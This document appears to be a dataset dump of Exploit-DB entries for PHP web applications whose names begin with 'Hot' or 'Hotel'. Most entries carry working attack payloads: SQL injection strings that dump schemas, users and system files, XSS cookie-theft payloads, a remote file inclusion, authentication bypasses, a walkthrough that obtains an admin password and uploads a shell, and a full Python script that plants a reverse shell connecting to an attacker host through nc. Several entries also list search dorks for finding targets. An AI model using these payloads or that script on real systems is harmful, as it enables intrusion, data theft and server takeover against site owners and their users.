deardaniel/secdata-raw huggingface dataset:
Exploit-DB #6403
Description: Hot Links SQL-PHP 3 - 'report.php' Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2008-09-09
Author: sl4xUz

Exploit:
###########################################################
# 
#        ___    __ __                  __  __            
#       /\_ \  /\ \\ \                /\ \/\ \           
#   ____\//\ \ \ \ \\ \    __  _ __  _\ \ \ \ \  ____    
#  /',__\ \ \ \ \ \ \\ \_ /\ \/'\\ \/'\\ \ \ \ \/\_ ,`\  
# /\__, `\ \_\ \_\ \__ ,__\\>  <\\>   <\\ \ \_\ \/_/  /_ 
# \/\____/ /\____\\/_/\_\_//\_/\_\\_/\_\ \ \_____\/\____\
#  \/___/  \/____/   \/_/  \//\/_///\/_/  \/_____/\/____/
# 
#                                 security breakd0wn!
###########################################################
# 
# Title: Hot Links SQL-PHP 3 (report.php) Multiple Vulnerabilities
# Vendor: http://www.mrcgiguy.com
# Vulnerable Version: 3 and prior versions
# Fix: N/A
# 
###########################################################
# 
# c0ntact: sl4x.xuz[at]gmail[dot]com
# d0rk: "Powered By: Hot Links SQL-PHP 3"
# stop lammo
# 
###########################################################

######################
  1. Information
######################
     Hot Links was the initial script developed by Mr CGI Guy back in 2001 as a simple way to manage outgoing links. It intially was introduced as Hot Links Lite and was distributed for free.

######################
  2. Vulnerabilities
######################
     SQL Injection in "report.php" in the "id" parameter.
     Cross Site Scripting in "report.php" in the "id" parameter.

######################
  3. PoC
######################
     http://localhost/path/report.php?id=-1/**/union/**/select/**/version(),2,3--
     http://localhost/path/report.php?id=[XSS]

###########################################################

# milw0rm.com [2008-09-09]
Exploit-DB #1835
Description: Hot Open Tickets 11012004 - 'CLASS_PATH' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-05-27
Author: Kacper

Exploit:
################# DEVIL TEAM THE BEST POLISH TEAM ##################
#
#   HOT [(Hot Open Tickets) (hot_11012004_ver2f)] - Remote File Include Vulnerabilities
#   Find by Kacper (Rahim).
#   Greetings For ALL DEVIL TEAM members, Special DragonHeart :***
#   Contact: kacper1964@yahoo.pl   or   http://www.devilteam.yum.pl
#   Site scripts: http://hotopentickets.sourceforge.net
#
####################################################################
*/ lib_action_step.php: Line(1-4)

   include ($GLOBALS["CLASS_PATH"]."/User_list_class.php");
   function print_action_list($a)
   {

/*
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Expl:

http://www.site.com/[hot_path]/admin/lib_action_step.php?GLOBALS[CLASS_PATH]=[evil_scripts]

#Elo ;-)

# milw0rm.com [2006-05-27]
Exploit-DB #4804
Description: Hot or Not Clone by Jnshosts.com - Database Backup Dump
Type: webapps
Platform: php
Date: 2007-12-28
Author: RoMaNcYxHaCkEr

Exploit:
# Name : Hot or Not Clone by Jnshosts.com  Dump backup And See Password Admin
# Download From : http://www.jnshosts.com/downloads/hot-or-not-clone-script/index.php
# Found By : RoMaNcYxHaCkEr
# Home Page : Not Yet :(
# Google Dork : Copyright @ 2007 Powered By Hot or Not Clone by Jnshosts.com Rate My Pic :: Home :: Advertise :: Contact us::
============================================================================
# Exploit:
You Can Download Backup For Script Like e.g Here:
http://www.ratemyscript.com/control/backup/backup.php
I Donlowad Backup.sql Then I See Password Here Like e.g In Line May Be 2 Or 3:
);#%%
INSERT INTO admin VALUES ('admin','desperad');
username admin : admin
[CREDENTIAL_REDACTED]
Then Enter Here In Admincp:
http://www.ratemyscript.com/control/
If You Want Upload Shell You Can Enter Here :
http://www.ratemyscript.com/control/sitebanners/upload_banners.php
Then Enter Here If You See Uploaded Banner Like Here:
http://www.ratemyscript.com/control/sitebanners/manage_banners.php
Then Like Here See Direct Shell:
http://www.ratemyscript.com/banners/tryag.php
That,s Gift For Tryag TeaM ^^
Good Luck Everybody
============================================================================
# Greet To :
Cold Z3ro My Master (Hackteach.org)
Hack15 TeaM (V99x.com)
Sniper-Sa TeaM (Sniper-sa.com)
Tryag TeaM (Tryag.com)
Yee7 TeaM (Yee7.com)
H-T TeaM (no-hack.fr)
Str0ck
My5ql Team
Also: Saudi Kafo , Adel Alroh , Mr-Google , Kill eye And All My Friends
# For Contact : RxH@HotMail.iT
Happy Aid All Muslims
Best Wishes

# milw0rm.com [2007-12-28]
Exploit-DB #13973
Description: Hot or Not Picture Rating Script - SQL Injection
Type: webapps
Platform: php
Date: 2010-06-22
Author: L0rd CrusAd3r

Exploit:
1               ##########################################             1
0               I'm L0rd CrusAd3r member from Inj3ct0r Team            1
1               ##########################################             0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=1
Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com]
Exploit Title:Pictue rating SQL Vulnerable
Version:1
Price:20$
Published: 2010-06-22
Greetz to:r0073r (inj3ct0r.com), Sid3^effects, MaYur, MA1201, M4n0j, Sonic Bluehat.
Special Greetz: Topsecure.net, inj3ct0r Team , Andhrahackers.com
Shoutzz:- To all ICW members.
‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾
Description:

The Hot or Not site is a picture rating website where people can post pictures for other's to rate and post comments on. The site also features an email system for members to communicate through the website. This is is an excellent traffic builder with advertising revenue potential.

‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾

Vulnerability:

*SQLi Vulnerability

DEMO URL :

http://server/hot_or_not/index.php?username=geeve&phid=[sqli]

# 0day n0 m0re #
# L0rd CrusAd3r #
Exploit-DB #8477
Description: Hot Project 7.0 - Authentication Bypass
Type: webapps
Platform: php
Date: 2009-04-17
Author: HCOCA_MAN

Exploit:
-------------------------AllaH AkbaR-------------------------------
Hot Project - Version 7  (Auth Bypass) Remote Sql Injecion   
---------------------------------------------------------------------------
Discovered By: HCOCA_MAN     ALGERIAN HaCkEr 
Mail: s1ql@hotmail.com
Site:http://www.snakespc.com/sc/index.php
Chi3arona houa :  Serra7 merra7 , koulchi mderra7>>>>
             Aflawa Kamikaz Wa4rin Fi kol Bla4s 
-------------------------SNAKES TEAM-------------------------------------
Script:
http://www.hotproject.com
-------------------------SNAKES TEAM-------------------------------------
Exploit:
-----------
http://www.hotproject.com/demo
Test  >>>>>>
Email Address:    ' or '1=1
Password:           ' or '1=1
-------------------------SNAKES TEAM-------------------------------------
Super  Cristal :::Snakeps::::DrEaDFuL:::yassine_enp:::His0k4:::
Houssamix:::sunhouse2:::aSSaSSin_HaCkErS:::
THE INJECTOR:::ALMADJHOOL:::Th3 g0bL!N::: Dr-HTmL
--------------------------SNAKES TEAM------------------------------------
ALL www.SnakespC.com/sc>>>> (  Members )
Str0ke >>>>>>>Milw0rm

# milw0rm.com [2009-04-17]
Exploit-DB #43916
Description: Hot Scripts Clone - 'subctid' SQL Injection
Type: webapps
Platform: php
Date: 2018-01-28
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Hot Scripts Clone Script 1.0 - SQL Injection
# Dork: N/A
# Date: 27.01.2018
# Vendor Homepage: http://www.phpscriptsmall.com/
# Software Link: http://www.exclusivescript.com/product/M72g4502563/php-scripts/hot-scripts-clone-:-script-classified
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/categories?keyword=&mctid=[SQL]&subctid=[SQL]
# 
# -Y12h7890'++/*!08888UNION*/+/*!08888ALL*/+/*!08888SELECT*/+(/*!08888Select*/+export_set(5,@:=0,(/*!08888select*/+count(*)/*!08888from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!08888table_name*/,0x3c6c693e,2),/*!08888column_name*/,0xa3a,2)),@,2))--+-
#  
# # # # #
Exploit-DB #43284
Description: Hot Scripts Clone 3.1 - 'subctid' / 'mctid' SQL Injection
Type: webapps
Platform: php
Date: 2017-12-11
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Hot Scripts Clone 3.1 - SQL Injection
# Dork: N/A
# Date: 08.12.2017
# Vendor Homepage: https://www.phpscriptsmall.com/
# Software Link: https://www.phpscriptsmall.com/product/hot-scripts-clone-script-classified/
# Version: 3.1
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/categories?subctid=[SQL]
# 
# -yzEb7895'++UNION+ALL+SELECT+CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION())--+-
# 
# http://server/categories?subctid=-yzEb7895'++UNION+ALL+SELECT+CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION())--+-
# 
# 2)
# http://localhost/[PATH]/categories?&mctid=[SQL]
# 
# -Y12h7881'++UNION+ALL+SELECT+(SELECT(@x)FROM(SELECT(@x:=0x00),(@NR:=0),(SELECT(0)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA!=0x696e666f726d6174696f6e5f736368656d61)AND(0x00)IN(@x:=CONCAT(@x,LPAD(@NR:=@NR%2b1,4,0x30),0x3a20,table_name,0x3c62723e))))x)--+-
# 
# http://server/categories?&mctid=-Y12h7881'++UNION+ALL+SELECT+(SELECT(@x)FROM(SELECT(@x:=0x00),(@NR:=0),(SELECT(0)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA!=0x696e666f726d6174696f6e5f736368656d61)AND(0x00)IN(@x:=CONCAT(@x,LPAD(@NR:=@NR%2b1,4,0x30),0x3a20,table_name,0x3c62723e))))x)--+-
# 
# # # # #
Exploit-DB #13770
Description: Hotel / Resort Site Script with OnLine Reservation System - SQL Injection
Type: webapps
Platform: php
Date: 2010-06-08
Author: L0rd CrusAd3r

Exploit:
Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com]
Exploit Title:Hotel / Resort Site Script with OnLine Reservation System
SQLi Vulnerable
Published: 2010-06-08
Vendor url:http://www.mformula.com.br
Greetz to:Sid3^effects, aa_Numb, M4n0j and to all ICW members

#############################################################################################################################################################################

DESCRIPTION:

Internal system for total administration of the site.
Available site in the languages Portuguese, Spanish, Japanese, English,
Italian, French & German.
System and reservation advanced search onnline/offline, Control of orders
and reservations, RSS/XML feed, Optimization in search engines, SiteMap
Google,
Yahoo and Bing, Support Inns, Hotel and Resorts, Unlimited Gallery of
Photos, Supported to any type of personalized option (Color, Size, Type,
etc), Tool of relationship between services, Tool of newsletters for
customers,
Personalization of the layout, colors and texts of the site in agreement
your mark, Reports detailed on the site
###############################################################################################################################################################################

Vulnerability:

contains SQLi Vulenrable.

demo:-
http://server/extrapage.php?cat_id=-1'[SQLi]

################################################################################################################################################################################
-- 
With R3gards,
L0rd CrusAd3r
Exploit-DB #49700
Description: Hotel And Lodge Management System 1.0 - 'Customer Details' Stored XSS
Type: webapps
Platform: php
Date: 2021-03-23
Author: Jitendra Kumar Tripathi

Exploit:
# Exploit Title: Hotel And Lodge Management System 1.0 - 'Customer Details' Stored XSS
# Exploit Author: Jitendra Kumar Tripathi
# Vendor Homepage: https://www.sourcecodester.com/php/13707/hotel-and-lodge-management-system.html
# Software Link: https://www.sourcecodester.com/download-code?nid=13707&title=Hotel+and+Lodge+Management+System+using+PHP+with+Source+Code
# Version: 1
# Tested on Windows 10 + Xampp 8.0.3

XSS IMPACT:
1: Steal the cookie
2: User redirection to a malicious website

Vulnerable Parameters: Customer Details

*Steps to reproduce:*
1: Log in with a valid username and password. Navigate to the Customer Details (http://localhost/hotel/source%20code/index.php) on the left-hand side.
2: Add the new customer and then add the payload <script>alert(document.cookie)</script>in Customer Name parameter and click on save button. Post Saved successfully.
3: Now, XSS will get stored and trigger every time when you click view customer and the attacker can steal authenticated users' cookies.
Exploit-DB #49625
Description: Hotel and Lodge Management System 1.0 - Remote Code Execution (Unauthenticated)
Type: webapps
Platform: php
Date: 2021-03-08
Author: Christian Vierschilling

Exploit:
# Exploit Title: Hotel and Lodge Management System 1.0 - Remote Code Execution (Unauthenticated)
# Date: 07-03-2021
# Exploit Author: Christian Vierschilling
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/13707/hotel-and-lodge-management-system.html
# Version: 1.0
# Tested on: PHP 7.4.14, Linux x64_x86

# --- Description --- #

# The web application allows for an unauthenticated file upload which can result in a Remote Code Execution.
# Executing this script against a target might return a reverse php shell.

# --- Proof of concept --- #

#!/usr/bin/python3
import random
import sys
import requests
from requests_toolbelt.multipart.encoder import MultipartEncoder

def file_upload(target_ip, attacker_ip, attacker_port):
  print("(+) Setting up reverse shell php file ..")
  random_file_name = str(random.randint(100000, 999999)) + "revshell.php"
  revshell_string = '<?php exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {} {} >/tmp/f"); ?>'.format(attacker_ip, attacker_port)
  m = MultipartEncoder(fields={'image': (random_file_name, revshell_string, 'application/x-php'),'btn_update':''})
  print("(+) Trying to upload it ..")
  r1 = requests.post('http://{}/hotel/source code/profile.php'.format(target_ip), data=m, headers={'Content-Type': m.content_type})
  r2 = requests.get('http://{}/hotel/source code/uploadImage/Profile/'.format(target_ip))
  if random_file_name in r2.text:
    print("(+) File upload seems to have been successful!")
    return random_file_name
  else:
    print("(-) Oh noes, file upload failed .. quitting!")
    exit()

def trigger_shell(target_ip, random_file_name):
  print("(+) Now trying to trigger our shell..")
  r3 = requests.get('http://{}/hotel/source code/uploadImage/Profile/{}'.format(target_ip, random_file_name))
  return None

def main():
  if len(sys.argv) != 4:
    print('(+) usage: %s <target ip> <attacker ip> <attacker port>' % sys.argv[0])
    print('(+) eg: %s 10.0.0.1 10.13.37.10 4444' % sys.argv[0])
    sys.exit(-1)

  target_ip = sys.argv[1]
  attacker_ip = sys.argv[2]
  attacker_port = sys.argv[3]

  revshell_file_name = file_upload(target_ip, attacker_ip, attacker_port)
  trigger_shell(target_ip, revshell_file_name)
  print("\n(+) done!")

if __name__ == "__main__":
  main()
Exploit-DB #45509
Description: Hotel Booking Engine 1.0 - 'h_room_type' SQL Injection
Type: webapps
Platform: php
Date: 2018-10-01
Author: Ihsan Sencan

Exploit:
# Exploit Title: Hotel Booking Engine 1.0 - 'h_room_type' SQL Injection
# Dork: N/A
# Exploit Author: Ihsan Sencan
# Date: 2018-10-01
# Vendor Homepage: http://scriptzee.com/
# Software Link: http://scriptzee.com/products/details/35
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-N/A

# POC: 
# http://localhost/[PATH]/hotels?h_room_type=[SQL]

%27%20%41%4e%44%20%28%53%45%4c%45%43%54%20%36%36%20%46%52%4f%4d%28%53%45%4c%45%43%54%20%43%4f%55%4e%54%28%2a%29%2c%43%4f%4e%43%41%54%28%28%53%45%4c%45%43%54%20%28%45%4c%54%28%36%36%3d%36%36%2c%31%29%29%29%2c%43%4f%4e%43%41%54%5f%57%53%28%30%78%32%30%33%61%32%30%2c%55%53%45%52%28%29%2c%44%41%54%41%42%41%53%45%28%29%2c%56%45%52%53%49%4f%4e%28%29%29%2c%46%4c%4f%4f%52%28%52%41%4e%44%28%30%29%2a%32%29%29%78%20%46%52%4f%4d%20%49%4e%46%4f%52%4d%41%54%49%4f%4e%5f%53%43%48%45%4d%41%2e%50%4c%55%47%49%4e%53%20%47%52%4f%55%50%20%42%59%20%78%29%61%29%2d%2d%20%45%66%65

# http://localhost/[PATH]/hotels?destination=[SQL]

' AND (SELECT 66 FROM(SELECT COUNT(*),CONCAT((SELECT (ELT(66=66,1))),CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'efe'='efe
Exploit-DB #18702
Description: Hotel Booking Portal - SQL Injection
Type: webapps
Platform: php
Date: 2012-04-04
Author: Mark Stanislav

Exploit:
'Hotel Booking Portal' SQL Injection (CVE-2012-1672)
Mark Stanislav - mark.stanislav@gmail.com


I. DESCRIPTION
---------------------------------------
A vulnerability exists in getcity.php that allows for SQL injection of the 'country' POST parameter.

 
II. TESTED VERSION
---------------------------------------
0.1


III. PoC EXPLOIT
---------------------------------------
POST a form to getcity.php with the value of 'country' set to: ' union select null,null,load_file(0x2f6574632f[PII_REDACTED]64),null,null,null,null,null from users where 'a'='a


IV. SOLUTION
---------------------------------------
Do not use this software, no patched version exists at this time.


V. REFERENCES
---------------------------------------
http://sourceforge.net/projects/hbportal/
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-1672


VI. TIMELINE
---------------------------------------
03/02/2012 - Initial vendor disclosure
03/20/2012 - Received no response and sent a second e-mail to the vendor
04/04/2012 - Public disclosure
Exploit-DB #37630
Description: Hotel Booking Portal 0.1 - Multiple SQL Injections / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-08-09
Author: Yakir Wizman

Exploit:
source: https://www.securityfocus.com/bid/54980/info

Hotel Booking Portal is prone to multiple SQL-injection vulnerabilities and cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.

Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Hotel Booking Portal 0.1 is vulnerable; other versions may also be affected. 

http://www.example.com/hbportal/includes/languagebar.php?xss=";</script><script>alert(1);</script><script>
http://www.example.com/hbportal/administrator/login.php?xss=";</script><script>alert(1);</script><script>
http://www.example.com/hbportal/index.php?lang=";</script><script>alert(document.cookie);</script><script>
Exploit-DB #20476
Description: Hotel Booking Portal 0.1 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2012-08-13
Author: Yakir Wizman

Exploit:
# -----------------------------------------------------------
#			   _____ _ _            _      _ 
#			  / ____(_) |          | |    | |
#			 | |     _| |_ __ _  __| | ___| |
#			 | |    | | __/ _` |/ _` |/ _ \ |
#			 | |____| | || (_| | (_| |  __/ |
#			  \_____|_|\__\__,_|\__,_|\___|_|
#			  
# -----------------------------------------------------------
# Hotel Booking Portal v0.1 Multiple Vulnerabilities
# Google dork: "Made And Powered By Hotels Portal"
# Bug discovered by Yakir Wizman, <yakir.wizman@gmail.com>
# Date 09/08/2012
# Download - http://sourceforge.net/projects/hbportal/
# ISRAEL
# -----------------------------------------------------------
#		Author will be not responsible for any damage.
# -----------------------------------------------------------
# I. DESCRIPTION
# -----------------------------------------------------------
# 1). A vulnerability exists in 'login.php' - Allows for 'SQL injection' of the 'email' and 'password' POST parameters.
# 2). A vulnerability exists in 'searchresults.php' - Allows for 'SQL injection' of the 'country' POST parameter.
# 3). A vulnerability exists in 'includes/languagebar.php' - Allows for 'Cross site scripting' of the 'window.location' js
# 4). A vulnerability exists in 'administrator/login.php' - Allows for 'Cross site scripting' of the 'window.location' js
# 5). A vulnerability exists in 'index.php' - Allows for 'Cross site scripting' of the 'lang' GET parameter.
#
# -----------------------------------------------------------
# II. PoC EXPLOIT
# -----------------------------------------------------------
# 1). POST a form to login.php with the value of:
# email set to		: ' or '1'='1
# password set to	: ' or '1'='1
# 2). POST to searchresults.php with the value of 'country' set to Armenia' and sleep(1)='
# 3). http://127.0.0.1/hbportal/includes/languagebar.php?xss=";</script><script>alert(1);</script><script>
# 4). http://127.0.0.1/hbportal/administrator/login.php?xss=";</script><script>alert(1);</script><script>
# 5). http://127.0.0.1/hbportal/index.php?lang=";</script><script>alert(document.cookie);</script><script>
# -----------------------------------------------------------
Exploit-DB #41732
Description: Hotel Booking Script 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2017-03-26
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: Hotel & Tour Package Script v1.0 - SQL Injection
# Google Dork: N/A
# Date: 26.03.2017
# Vendor Homepage: http://eagletechnosys.com/
# Software: http://www.eaglescripts.com/hotel-booking-script
# Demo: http://hotelbooking.phpscriptsdemo.com/
# Version: 1.0
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# #ihsansencan
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/?show=view_offer&offer_id=[SQL]
# http://localhost/[PATH]/view_news.php?news_id=[SQL]
# http://localhost/[PATH]/page.php?id=[SQL]
# http://localhost/[PATH]/?show=view_room&room_id=[SQL]
# admin:id
# admin:username
# admin:password
# booking:id
# booking:cat_name
# Etc...
# # # # #